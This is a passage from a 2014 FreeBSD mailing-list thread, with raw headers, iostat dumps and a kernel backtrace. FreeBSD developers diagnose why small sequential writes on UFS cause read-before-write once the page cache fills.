statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 0.0 643.9 0.0 82420.9 77 104.8 101 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 > extended device statistics > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 >=20 > As can be seen from the log above, at first the workload runs fine, > and the disk is only performing writes, but at some point (in this > case around 40% of completion) it starts performing this > read-before-write dance that completely screws up performance. I reproduced this locally. I think my patch is useless for the fio/4k write situation. What happens is indeed related to the amount of the available memory. When the size of the file written by fio is larger than the memory, system has to recycle the cached pages. So after some moment, doing a write has to do read-before-write, and this occurs not at the EOF (since fio pre-allocated the job file). In fact, I used 10G file on 8G machine, but I interrupted the fio before it finish the job. The longer the previous job runs, the longer is time for which new job does not issue reads. If I allow the job to completely fill the cache, then the reads starts immediately on the next job run. I do not see how could anything be changed there, if we want to keep user file content on partial block writes, and we do. --SJ2dn9eo9utwE8uN Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTuFjYAAoJEJDCuSvBvK1B8pQP/1ErZ6Y+f3fsSG+uaz8e3o/l ZDmEBzy4C0xAR0ulO0vi/76N91rKp6LYe2GuAQ+kRY6lNmOWItuiZJVWh75RCbp4 0eVJ6fMG4Dsj7WzVqZBXASflptjJj+N2DtxC+w3cCxuNLlpWwD3sgINhX1LVxaxT hqods47QACMMlrX0MvXprXc9ilpZM5Bq5prRSN2toowHttFksQixn6wWgCQFYxNg ySWSdhusK26pw4ApAyDY3Fm2O0kd8VTHuZ9cTmS/3drYO7iyyodySzWtVBQEa9re SLRvZJ9oBazdePfABv/lLzHclTESnxi0QRBrveT/bGA2VC9T/Ii4h30Dpn+vFY/3 DVhQb/+M7y8jQN5A9G6K2NqiIlO4sNsTsYOzfJ1OTUa9FsH5K4ED+CP09HGG9nyl 0G2ENzz40hcSssxxUA2IiXgTVWMBD+bnPRAGgvP8PCIjwd3toDHjldlasTyOnlf7 1yMfzwIGN9oDp8GfOBh/tGUbRj3Wl+8fDLcHgCi3jlyAIos0VjFJfUUFHSfQL/U5 +m7QRofZRgGZhYe2gEZrVFXO5YK3PTqvwKly9Ms1NdCeZ574Sky2pfbA34FcKJVU SPDg5cxwgOY0M787dXNd3L27Plwl5tRlEyB514mslAi3E4GUvjw5Hph+7iZNvLw7 Az2Y3pAJwH3VWblvxQsS =VlFN -----END PGP SIGNATURE----- --SJ2dn9eo9utwE8uN-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 00:34:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AD40B862; Sun, 6 Jul 2014 00:34:49 +0000 (UTC) Received: from mail-qc0-x22f.google.com (mail-qc0-x22f.google.com [IPv6:2607:f8b0:400d:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5AD5B2E24; Sun, 6 Jul 2014 00:34:49 +0000 (UTC) Received: by mail-qc0-f175.google.com with SMTP id i8so2544955qcq.34 for ; Sat, 05 Jul 2014 17:34:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=UHZOG0Zic7Dolta+7PE5zHqVGeQ0zFVr4k67mWbceG0=; b=kszaEFUAq7cN5kOk8lyXG3ZEk2bS186cA8Rfharw8AIlx/S8RRhOm9LJap8mPrd1NP F1KqC0cpfR8AyvpLbYZqpdfNkJw+/ChG5PURD/0l6a8qPmc9nonRK/yQ2dxsu8Rnl7b7 QYwtWDeDQztNDfCA1i5ooLYPk1vk1zgLU2zTSlyrh0Oa5YB2PjZ+QsXyO03GpZ5FS1lC um4Djiu+S+NFJe3MzISx8LilffusZr2qWLUj6GedjajCKU57YGxTg9We7nE/eQ8keoXz 3e++mDbH+Hh5n7J2lUoPzO3v0nX19gbeXFEtvFjqs0TKAaJcH0lreh4uCg7pWKNPHbKb GQgQ== MIME-Version: 1.0 X-Received: by 10.224.66.70 with SMTP id m6mr34805528qai.55.1404606888444; Sat, 05 Jul 2014 17:34:48 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.202.193 with HTTP; Sat, 5 Jul 2014 17:34:48 -0700 (PDT) In-Reply-To: <20140705195816.GV93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B8253F.5060403@citrix.com> <20140705195816.GV93733@kib.kiev.ua> Date: Sat, 5 Jul 2014 17:34:48 -0700 X-Google-Sender-Auth: clVdKxBczF0xrgWVDzkB20BpSdI Message-ID: Subject: Re: Strange IO performance with UFS From: Adrian Chadd To: Konstantin Belousov Content-Type: text/plain; charset=UTF-8 Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers , Roger Pau Monn? X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 00:34:49 -0000 Hm, wait a sec. So if the IO size is a multiple of the underlying FS block size, it should be okay? -a On 5 July 2014 12:58, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: >> On 05/07/14 13:24, Konstantin Belousov wrote: >> > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: >> >> On 05/07/14 11:58, Konstantin Belousov wrote: >> >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? >> >>> wrote: >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a >> >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 >> >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 >> >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 >> >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 >> >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 >> >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 >> >>>> kernel`sys_write+0x63 >> >>>> >> >>>> This can also be seen by running iostat in parallel with the >> >>>> fio workload: >> >>>> >> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0 >> >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 >> >>>> >> >>>> This clearly shows that even when I was doing a sequential >> >>>> write (the fio workload shown above), the disk was actually >> >>>> reading more data than writing it, which makes no sense, and >> >>>> all the reads come from the path trace shown above. >> >>> >> >>> The backtrace above means that the BA_CLRBUF was specified for >> >>> UFS_BALLOC(). In turns, this occurs when the write size is >> >>> less than the UFS block size. UFS has to read the block to >> >>> ensure that partial write does not corrupt the rest of the >> >>> buffer. >> >> >> >> Thanks for the clarification, that makes sense. I'm not opening >> >> the file with O_DIRECT, so shouldn't the write be cached in >> >> memory and flushed to disk when we have the full block? It's a >> >> sequential write, so the whole block is going to be rewritten >> >> very soon. >> >> >> >>> >> >>> You can get the block size for file with stat(2), st_blksize >> >>> field of the struct stat, or using statfs(2), field f_iosize of >> >>> struct statfs, or just looking at the dumpfs output for your >> >>> filesystem, the bsize value. For modern UFS typical value is >> >>> 32KB. >> >> >> >> Yes, block size is 32KB, checked with dumpfs. I've changed the >> >> block size in fio to 32k and then I get the expected results in >> >> iostat and fio: >> >> >> >> extended device statistics device r/s w/s kr/s kw/s >> >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 >> >> 101 extended device statistics device r/s w/s kr/s >> >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 >> >> 112.1 99 extended device statistics device r/s w/s kr/s >> >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 >> >> 111.7 97 >> >> >> >> write: io=10240MB, bw=81704KB/s, iops=2553, runt=128339msec >> > >> > The current code in ffs_write() only avoids read before write when >> > write covers complete block. I think we can somewhat loose the >> > test to also avoid read when we are at EOF and write covers >> > completely the valid portion of the last block. >> > >> > This leaves the unwritten portion of the block with the garbage. I >> > believe that it is not harmful, since the only way for usermode to >> > access that garbage is through the mmap(2). The >> > vnode_generic_getpages() zeroes out parts of the page which are >> > after EOF. >> > >> > Try this, almost completely untested: >> >> Doesn't seem to help much, I'm still seeing the same issue. I'm >> sampling iostat every 1s, and here's the output form the start of the >> 4k block fio workload: >> >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 349.5 0.0 44612.3 48 88.0 52 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.4 0.0 83773.6 76 99.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 699.2 0.0 89493.1 59 109.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 628.1 0.0 80392.6 55 114.8 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.7 0.0 83799.6 79 98.4 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 701.4 0.0 89782.0 80 105.5 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 697.9 0.0 89331.6 78 112.0 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 714.1 0.0 91408.7 77 110.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 724.0 0.0 92675.0 67 112.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 700.4 0.0 89646.6 49 102.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 686.4 0.0 87857.2 78 110.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 702.0 0.0 89851.6 80 112.9 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 736.3 0.0 94246.4 67 110.1 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 624.6 0.0 79950.0 48 115.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 704.0 0.0 90118.4 77 106.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 714.6 0.0 91470.0 80 103.6 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 710.4 0.0 90926.1 80 111.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.3 0.0 83882.1 70 115.8 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 539.8 0.0 69094.5 80 121.2 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 711.6 0.0 91087.6 79 107.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 705.5 0.0 90304.5 81 111.3 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 727.3 0.0 93092.8 81 108.9 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 699.5 0.0 89296.4 55 109.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 689.0 0.0 88066.1 78 96.6 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 738.3 0.0 94496.1 56 109.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 615.4 0.0 78770.0 80 112.3 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 707.3 0.0 90529.8 86 105.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 704.3 0.0 89333.9 67 98.3 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 641.3 0.0 82081.5 80 112.3 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 701.6 0.0 89747.9 51 101.1 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 693.0 0.0 88702.1 80 103.6 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 632.7 0.0 80991.8 80 112.0 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 709.0 0.0 90748.2 80 107.5 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 715.0 0.0 91523.0 80 104.7 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 650.1 0.0 83210.5 56 110.9 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 682.2 0.0 87319.1 57 107.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 719.0 0.0 92032.6 80 103.6 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 624.3 0.0 79905.8 80 110.5 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 696.5 0.0 89151.7 80 109.9 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 664.2 0.0 85017.6 77 109.9 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 681.7 0.0 87254.0 80 107.5 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 668.5 0.0 85569.3 57 109.9 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 682.3 0.0 87329.0 53 110.8 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 643.9 0.0 82420.9 77 104.8 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 >> >> As can be seen from the log above, at first the workload runs fine, >> and the disk is only performing writes, but at some point (in this >> case around 40% of completion) it starts performing this >> read-before-write dance that completely screws up performance. > > I reproduced this locally. I think my patch is useless for the fio/4k write > situation. > > What happens is indeed related to the amount of the available memory. > When the size of the file written by fio is larger than the memory, > system has to recycle the cached pages. So after some moment, doing > a write has to do read-before-write, and this occurs not at the EOF > (since fio pre-allocated the job file). > > In fact, I used 10G file on 8G machine, but I interrupted the fio > before it finish the job. The longer the previous job runs, the longer > is time for which new job does not issue reads. If I allow the job to > completely fill the cache, then the reads starts immediately on the next > job run. > > I do not see how could anything be changed there, if we want to keep > user file content on partial block writes, and we do. From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 07:17:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 86238C19; Sun, 6 Jul 2014 07:17:46 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EE5CD2845; Sun, 6 Jul 2014 07:17:45 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s667HZnl046087 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Jul 2014 10:17:35 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s667HZnl046087 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s667HZDG046086; Sun, 6 Jul 2014 10:17:35 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 6 Jul 2014 10:17:35 +0300 From: Konstantin Belousov To: Adrian Chadd Subject: Re: Strange IO performance with UFS Message-ID: <20140706071735.GZ93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> <53B7D4DF.40301@citrix.com> <20140705112448.GQ93733@kib.kiev.ua> <53B8253F.5060403@citrix.com> <20140705195816.GV93733@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="HiaQvdnqo9FN6ymz" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers , Roger Pau Monn? X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 07:17:46 -0000 --HiaQvdnqo9FN6ymz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jul 05, 2014 at 05:34:48PM -0700, Adrian Chadd wrote: > Hm, wait a sec. So if the IO size is a multiple of the underlying FS > block size, it should be okay? It was already suggested in the thread, and confirmed later. Did you read the mails ? >=20 >=20 > -a >=20 >=20 > On 5 July 2014 12:58, Konstantin Belousov wrote: > > On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: > >> On 05/07/14 13:24, Konstantin Belousov wrote: > >> > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: > >> >> On 05/07/14 11:58, Konstantin Belousov wrote: > >> >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? > >> >>> wrote: > >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 > >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 > >> >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a > >> >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 > >> >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 > >> >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 > >> >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 > >> >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 > >> >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 > >> >>>> kernel`sys_write+0x63 > >> >>>> > >> >>>> This can also be seen by running iostat in parallel with the > >> >>>> fio workload: > >> >>>> > >> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0 > >> >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 > >> >>>> > >> >>>> This clearly shows that even when I was doing a sequential > >> >>>> write (the fio workload shown above), the disk was actually > >> >>>> reading more data than writing it, which makes no sense, and > >> >>>> all the reads come from the path trace shown above. > >> >>> > >> >>> The backtrace above means that the BA_CLRBUF was specified for > >> >>> UFS_BALLOC(). In turns, this occurs when the write size is > >> >>> less than the UFS block size. UFS has to read the block to > >> >>> ensure that partial write does not corrupt the rest of the > >> >>> buffer. > >> >> > >> >> Thanks for the clarification, that makes sense. I'm not opening > >> >> the file with O_DIRECT, so shouldn't the write be cached in > >> >> memory and flushed to disk when we have the full block? It's a > >> >> sequential write, so the whole block is going to be rewritten > >> >> very soon. > >> >> > >> >>> > >> >>> You can get the block size for file with stat(2), st_blksize > >> >>> field of the struct stat, or using statfs(2), field f_iosize of > >> >>> struct statfs, or just looking at the dumpfs output for your > >> >>> filesystem, the bsize value. For modern UFS typical value is > >> >>> 32KB. > >> >> > >> >> Yes, block size is 32KB, checked with dumpfs. I've changed the > >> >> block size in fio to 32k and then I get the expected results in > >> >> iostat and fio: > >> >> > >> >> extended device statistics device r/s w/s kr/s kw/s > >> >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 > >> >> 101 extended device statistics device r/s 